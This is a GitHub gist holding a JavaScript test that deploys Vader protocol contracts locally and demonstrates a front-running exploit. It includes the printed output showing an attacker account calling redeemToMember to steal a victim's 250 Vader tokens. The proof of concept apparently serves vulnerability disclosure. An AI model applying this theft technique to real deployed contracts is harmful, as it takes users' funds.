Skip to content

Instantly share code, notes, and snippets.

@toastedsteaksandwich
Created April 26, 2021 20:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save toastedsteaksandwich/39bfed78b21d7e6c02fe13ea5b2023c3 to your computer and use it in GitHub Desktop.
Save toastedsteaksandwich/39bfed78b21d7e6c02fe13ea5b2023c3 to your computer and use it in GitHub Desktop.
const { expect } = require("chai");
var Utils = artifacts.require('./Utils')
var Vether = artifacts.require('./Vether')
var Vader = artifacts.require('./Vader')
var USDV = artifacts.require('./USDV')
var VAULT = artifacts.require('./Vault')
var POOLS = artifacts.require('./Pools')
var Router = artifacts.require('./Router')
var Factory = artifacts.require('./Factory')
var Attack = artifacts.require('./Attack')
const BigNumber = require('bignumber.js')
const truffleAssert = require('truffle-assertions')
function BN2Str(BN) { return ((new BigNumber(BN)).toFixed()) }
function getBN(BN) { return (new BigNumber(BN)) }
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
var utils; var vader; var vether; var usdv; var vault; var router; var pools; var attack; var factory;
var acc0; var acc1; var acc2; var acc3; var acc0; var acc5;
//
before(async function() {
accounts = await ethers.getSigners();
acc0 = await accounts[0].getAddress()
acc1 = await accounts[1].getAddress()
acc2 = await accounts[2].getAddress()
acc3 = await accounts[3].getAddress()
utils = await Utils.new();
vether = await Vether.new();
vader = await Vader.new();
usdv = await USDV.new();
vault = await VAULT.new();
router = await Router.new();
pools = await POOLS.new();
factory = await Factory.new();
attack = await Attack.new();
})
describe("Deploy USDV", function() {
it("Should deploy", async function() {
await vader.init(vether.address, usdv.address, utils.address)
await usdv.init(vader.address, vault.address, router.address)
await vault.init(vader.address, usdv.address, router.address, factory.address, pools.address)
await router.init(vader.address, usdv.address, pools.address);
await pools.init(vader.address, usdv.address, router.address, router.address);
await attack.init(vader.address, usdv.address)
await factory.init(pools.address);
await vether.transfer(acc1, '3403')
await vether.approve(vader.address, '3400', {from:acc1})
await vader.upgrade('3400', {from:acc1})
expect(await usdv.name()).to.equal("VADER STABLE DOLLAR");
expect(await usdv.symbol()).to.equal("USDV");
expect(BN2Str(await usdv.decimals())).to.equal('18');
expect(BN2Str(await usdv.totalSupply())).to.equal('0');
expect(await usdv.DAO()).to.equal(acc0);
});
});
describe("Convert and redeem", function() {
//old test to get USDV balance
it("Should convert acc1", async function() {
await vader.flipMinting()
await usdv.convert('250', {from:acc1})
expect(BN2Str(await vader.totalSupply())).to.equal('3150');
expect(BN2Str(await vader.balanceOf(acc1))).to.equal('3150');
expect(BN2Str(await usdv.totalSupply())).to.equal('250');
expect(BN2Str(await usdv.balanceOf(acc1))).to.equal('250');
});
//vulnerability exploit
it("any user can sweep the balance of the vader contract", async function() {
//user transfers USDV to Vader contract to call redeemToMember directly
console.log("victim vader bal before: " + await vader.balanceOf(acc1));
console.log("victim USDV bal before: " + await usdv.balanceOf(acc1));
await usdv.transfer(vader.address, '250', {from: acc1});
//attacker detects tx and front runs user's call to redeem
const AttackerVaderBalBefore = await vader.balanceOf(acc2);
await vader.redeemToMember(acc2);
const AttackerVaderBalAfter = await vader.balanceOf(acc2);
console.log("victim vader bal after: " + await vader.balanceOf(acc1));
console.log("victim USDV bal after: " + await usdv.balanceOf(acc1));
console.log("\nthe attacker front ran the victim's call to vader.redeemToMember() to steal: ", (AttackerVaderBalAfter-AttackerVaderBalBefore) + " Vader");
});
});
victim vader bal before: 3150
victim USDV bal before: 250
victim vader bal after: 3150
victim USDV bal after: 0
the attacker front ran the victim's call to vader.redeemToMember() to steal: 250 Vader
✓ any user can sweep the balance of the vader contract (94ms)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment